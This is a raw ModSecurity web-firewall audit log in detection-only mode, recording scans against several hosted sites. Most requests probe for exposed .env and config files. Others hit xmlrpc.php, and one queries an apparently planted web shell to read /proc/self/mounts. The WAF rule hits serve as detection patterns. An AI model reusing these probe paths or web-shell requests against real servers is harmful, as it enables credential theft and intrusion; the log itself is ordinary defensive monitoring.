Stopwatch: 1750012774441592 788583 (- - -) Stopwatch2: 1750012774441592 788583; combined=1885, p1=396, p2=1391, p3=0, p4=0, p5=97, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --493df751-Z-- --7d7cf73f-A-- [16/Jun/2025:00:09:37.258735 +0530] aE8TaHJNE8RtYqH8JCs75wAAAAI 185.177.72.210 49912 127.0.0.1 7081 --7d7cf73f-B-- GET /includes/bootstrap.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7d7cf73f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a95b12a97f454c285725592bc6948b21750012777; expires=Sun, 15 Jun 2025 19:39:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7d7cf73f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/includes/bootstrap.inc"] [unique_id "aE8TaHJNE8RtYqH8JCs75wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012776571519 687306 (- - -) Stopwatch2: 1750012776571519 687306; combined=1728, p1=304, p2=1301, p3=0, p4=0, p5=123, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d7cf73f-Z-- --fa722c12-A-- [16/Jun/2025:00:09:48.045309 +0530] aE8Tcy7MaF0j8lD2KTIQNQAAAAM 185.177.72.210 49774 127.0.0.1 7081 --fa722c12-B-- GET /.env.mail HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa722c12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db1330922fdc7b6bb8226ddf73e626fc1750012787; expires=Sun, 15 Jun 2025 19:39:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fa722c12-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.mail"] [unique_id "aE8Tcy7MaF0j8lD2KTIQNQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012787392536 652865 (- - -) Stopwatch2: 1750012787392536 652865; combined=1754, p1=398, p2=1245, p3=0, p4=0, p5=110, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa722c12-Z-- --3523b35a-A-- [16/Jun/2025:00:09:49.050932 +0530] aE8TdKSMmxZaGWa7XLL4NQAAAAY 185.177.72.210 49812 127.0.0.1 7081 --3523b35a-B-- GET /:9000/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3523b35a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9def2ecae9f23fb8c27ce840b9be14691750012788; expires=Sun, 15 Jun 2025 19:39:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3523b35a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/conf/.env"] [unique_id "aE8TdKSMmxZaGWa7XLL4NQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012788367537 683471 (- - -) Stopwatch2: 1750012788367537 683471; combined=1941, p1=369, p2=1471, p3=0, p4=0, p5=101, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3523b35a-Z-- --3f747857-A-- [16/Jun/2025:00:10:13.291078 +0530] aE8TjFeqy5hRjKvJEAyU2wAAAAE 185.177.72.210 34412 127.0.0.1 7081 --3f747857-B-- GET /:8000/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f747857-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c96dd7d90a1bcad4497600fc97209c701750012813; expires=Sun, 15 Jun 2025 19:40:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f747857-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/front-end/.env"] [unique_id "aE8TjFeqy5hRjKvJEAyU2wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012812632562 658595 (- - -) Stopwatch2: 1750012812632562 658595; combined=2360, p1=497, p2=1741, p3=0, p4=0, p5=122, sr=130, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f747857-Z-- --15310728-A-- [16/Jun/2025:00:10:20.291292 +0530] aE8Tk6zY0BMZNmg1_r14XQAAAAc 128.199.112.101 34660 127.0.0.1 7081 --15310728-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --15310728-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --15310728-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Tk6zY0BMZNmg1_r14XQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012819296346 995000 (- - -) Stopwatch2: 1750012819296346 995000; combined=2160, p1=376, p2=1409, p3=36, p4=55, p5=179, sr=99, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15310728-Z-- --a265cd3e-A-- [16/Jun/2025:00:10:21.257458 +0530] aE8TlFeqy5hRjKvJEAyU3gAAAAE 185.177.72.210 58062 127.0.0.1 7081 --a265cd3e-B-- GET /:10000/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a265cd3e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=be725d49e5c36866f2f146219c84ada01750012821; expires=Sun, 15 Jun 2025 19:40:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a265cd3e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.txt"] [unique_id "aE8TlFeqy5hRjKvJEAyU3gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012820601035 656532 (- - -) Stopwatch2: 1750012820601035 656532; combined=2010, p1=407, p2=1503, p3=0, p4=0, p5=100, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a265cd3e-Z-- --70d5c935-A-- [16/Jun/2025:00:10:29.467342 +0530] aE8TnGuCR1auBLUP7R-k2AAAAAg 185.177.72.210 58398 127.0.0.1 7081 --70d5c935-B-- GET /:5000/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70d5c935-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=adfff334b9f0213cefc06c256d1fbf561750012829; expires=Sun, 15 Jun 2025 19:40:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70d5c935-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/sites/all/libraries/mailchimp/.env"] [unique_id "aE8TnGuCR1auBLUP7R-k2AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012828759820 707587 (- - -) Stopwatch2: 1750012828759820 707587; combined=2039, p1=407, p2=1505, p3=0, p4=0, p5=126, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70d5c935-Z-- --cee31b06-A-- [16/Jun/2025:00:10:32.728735 +0530] aE8ToKSMmxZaGWa7XLL4UgAAAAY 185.177.72.210 32944 127.0.0.1 7081 --cee31b06-B-- GET /app.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cee31b06-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0cb8da19fb3dc810a2e0e58eecf80e7c1750012832; expires=Sun, 15 Jun 2025 19:40:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cee31b06-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/app.config"] [unique_id "aE8ToKSMmxZaGWa7XLL4UgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012832074662 654136 (- - -) Stopwatch2: 1750012832074662 654136; combined=2280, p1=414, p2=1772, p3=0, p4=0, p5=93, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cee31b06-Z-- --dcc28611-A-- [16/Jun/2025:00:11:20.435651 +0530] aE8TzyKD19h5xDtM-2wUrwAAAAo 128.199.112.101 40568 127.0.0.1 7081 --dcc28611-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --dcc28611-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --dcc28611-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8TzyKD19h5xDtM-2wUrwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012879494204 941513 (- - -) Stopwatch2: 1750012879494204 941513; combined=2373, p1=382, p2=1531, p3=41, p4=62, p5=215, sr=109, sw=142, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dcc28611-Z-- --d73e9e48-A-- [16/Jun/2025:00:11:47.122581 +0530] aE8T6y7MaF0j8lD2KTIQgAAAAAM 216.73.216.83 52362 127.0.0.1 7081 --d73e9e48-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself&viewfile=%2F%2Fproc%2Fself%2Fmounts HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --d73e9e48-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3613 Connection: close Content-Type: text/html; charset=UTF-8 --d73e9e48-H-- Message: Warning. Matched phrase "proc/self/mounts" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/mounts found within ARGS:viewfile: /proc/self/mounts"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/mounts" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/mounts found within ARGS:viewfile: /proc/self/mounts"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8T6y7MaF0j8lD2KTIQgAAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750012907118259 4376 (- - -) Stopwatch2: 1750012907118259 4376; combined=2192, p1=382, p2=1679, p3=35, p4=37, p5=59, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d73e9e48-Z-- --0342c26a-A-- [16/Jun/2025:00:11:48.187609 +0530] aE8T63JNE8RtYqH8JCs8PgAAAAI 185.177.72.210 52472 127.0.0.1 7081 --0342c26a-B-- GET /.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0342c26a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f6e22d16c11a40aa7b171864b0d182f1750012908; expires=Sun, 15 Jun 2025 19:41:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0342c26a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.docker/.env"] [unique_id "aE8T63JNE8RtYqH8JCs8PgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012907499616 688070 (- - -) Stopwatch2: 1750012907499616 688070; combined=1964, p1=478, p2=1379, p3=0, p4=0, p5=106, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0342c26a-Z-- --69d7fc1c-A-- [16/Jun/2025:00:11:51.239757 +0530] aE8T7ihnDkBlcF0fkxMGswAAAAQ 185.177.72.210 41962 127.0.0.1 7081 --69d7fc1c-B-- GET /:8008/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69d7fc1c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=81dec5835cd298e6325a9434fb9a73091750012911; expires=Sun, 15 Jun 2025 19:41:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69d7fc1c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/journal/.env"] [unique_id "aE8T7ihnDkBlcF0fkxMGswAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012910551338 688483 (- - -) Stopwatch2: 1750012910551338 688483; combined=1845, p1=354, p2=1391, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69d7fc1c-Z-- --65477906-A-- [16/Jun/2025:00:11:53.928976 +0530] aE8T8azY0BMZNmg1_r14mwAAAAc 185.177.72.210 42384 127.0.0.1 7081 --65477906-B-- GET /laravel/core/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --65477906-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3c62821694df72918bcadff0e7b0ec0e1750012913; expires=Sun, 15 Jun 2025 19:41:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --65477906-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/laravel/core/.env.local"] [unique_id "aE8T8azY0BMZNmg1_r14mwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012913225337 703730 (- - -) Stopwatch2: 1750012913225337 703730; combined=1936, p1=386, p2=1434, p3=0, p4=0, p5=116, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65477906-Z-- --9b262126-A-- [16/Jun/2025:00:11:55.026100 +0530] aE8T8leqy5hRjKvJEAyVHAAAAAE 185.177.72.210 42412 127.0.0.1 7081 --9b262126-B-- GET /:8880/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b262126-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 